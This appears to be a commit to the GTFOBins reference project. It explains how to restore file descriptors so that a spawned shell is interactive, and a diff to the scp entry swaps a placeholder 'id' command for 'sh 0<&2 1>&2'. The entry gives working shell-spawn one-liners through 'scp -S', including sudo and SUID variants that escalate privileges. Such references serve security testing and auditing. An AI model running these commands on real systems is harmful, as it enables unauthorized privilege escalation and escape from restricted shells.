Make interactive execute whenever possible

Here the trick is to restore those file descriptors (0, 1, 2) that have been
redirected (`dup2`) by the parent process.

First we need to determine which one has been redirected, for example by looking
at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0,
1 or 2 respectively, where `x` is any file descriptor number that points to the
TTY.

It may happen that no file descriptor is unchanged, in that case we can use
`tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)

_gtfobins/scp.md

@@ -1,10 +1,9 @@
 ---
 functions:
-  execute-non-interactive:
+  execute-interactive:
     - code: |
         TF=$(mktemp)
-        CMD="id"
-        echo "$CMD" > "$TF"
+        echo 'sh 0<&2 1>&2' > $TF
         chmod +x "$TF"
         scp -S $TF x y:
   upload:
@@ -22,15 +21,13 @@ functions:
   sudo-enabled:
     - code: |
         TF=$(mktemp)
-        CMD="id"
-        echo "$CMD" > "$TF"
+        echo 'sh 0<&2 1>&2' > $TF
         chmod +x "$TF"
         sudo scp -S $TF x y:
   suid-limited:
     - code: |
         TF=$(mktemp)
-        CMD="id"
-        echo "$CMD" > "$TF"
+        echo 'sh 0<&2 1>&2' > $TF
         chmod +x "$TF"
         ./scp -S $TF a b:
 ---